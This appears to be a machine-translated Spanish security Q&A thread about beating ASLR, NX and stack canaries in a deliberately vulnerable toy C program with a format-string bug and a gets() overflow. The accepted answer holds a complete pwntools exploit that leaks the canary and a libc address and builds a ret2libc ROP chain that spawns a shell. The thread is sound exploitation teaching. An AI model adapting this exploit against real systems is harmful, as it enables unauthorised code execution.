Cómo filtrar la dirección base de libc utilizando el exploit de cadena de formato

Question

Cómo filtrar la dirección base de libc utilizando el exploit de cadena de formato

#1 de L00PeR (1 votos)

0

He estado intentando durante algún tiempo escribir una vulnerabilidad en un programa muy simple que tiene una cadena de formato y una vulnerabilidad de desbordamiento de búfer. Este programa tiene NX, SSP y ASLR.

#include <stdio.h>

int main(int argc, char *argv[]){
    char buff[64];
    printf(argv[1]);
    printf("\n");
    gets(buff);
    return 0;
}

Pasé por alto exitosamente a este 2 primero, pero no puedo vencer a ASLR.

NOTA: Bruteforce no es una opción

Mi idea es filtrar una función libc y restar el desplazamiento, pero no sé cómo hacerlo con una vulnerabilidad de cadena de formato. Además, debo decir que no se pueden escribir null-bytes, ya que la entrada se obtiene de los argumentos.

Preguntas:

¿Esto es incluso explotable?

Si es así, ¿cómo puedo filtrar una entrada GOT / PLT para calcular la dirección base libc?

Estoy en el camino correcto?

exploit linux aslr

pregunta L00PeR 19.01.2018 - 20:44

fuente

1 respuesta

Lea otras preguntas en las etiquetas exploit linux aslr

OpenID Connect: ¿Cómo mantener una experiencia de inicio de sesión único entre varios clientes web de la misma aplicación general? ¿Cómo funciona la prevención de captura de pantalla de iOS (ScreenShield by Confide) bajo el capó?

score 1 · Accepted Answer

Gracias a Andrea, que me ayudó en los comentarios, finalmente pude escribir un exploit confiable. La clave para lograrlo, era mirar cuidadosamente la pila. Allí, podría encontrar la dirección de una función __libc_start_main()+240 que podría usar más adelante para calcular la dirección base de libc restando el desplazamiento. Aquí está mi exploit completo, espero que esto ayude a otras personas a entender cómo derrotar a ASLR, DEP y SSP :)

#!/usr/bin/env python
from pwn import *

_libc_start_main_offset = 0x0000000000020740

# GADGETS of /lib/x86-64/libc-2.23.so

POPRDI = 0x0000000000042c0d

# leak for getting stack canary and __libc_start_main
leak = "%17$p,%19$p"

# padding
padding = "A"*72

# pause for attaching with gdb for debugging purposes
# pause()

# start the process
p = process(["./vuln", leak])

# First address is the cookie
cookie = p.recvuntil(",")

# And the other the libc funtion address
_libc_start_main_address = p.recv()

# Print the cookie
log.info("Cookie: "+cookie[:len(cookie)-1])

# We parse the cookie
cookie = cookie[2:len(cookie)-1].decode("hex")[::-1]

# We parse the libc function address
_libc_start_main_address = u64(("0000" + _libc_start_main_address[2:len(_libc_start_main_address)-1]).decode("hex")[::-1])-240

# We print and calculate the libc base address
log.info("libc base address: "+hex(_libc_start_main_address-_libc_start_main_offset))
libc_base = _libc_start_main_address-_libc_start_main_offset
system = 0x0000000000045390 + libc_base

POPRDI += libc_base
binsh = libc_base + 0x18cd17

log.info("binsh is at: "+hex(binsh))

# Making the payload
payload = ""
payload += padding
payload += cookie
payload += "AAAAAAAA"
payload += p64(POPRDI)
payload += p64(binsh)
payload += p64(system)
# Sending the exploit
p.sendline(payload+"\n")

# Spawning shell
p.interactive()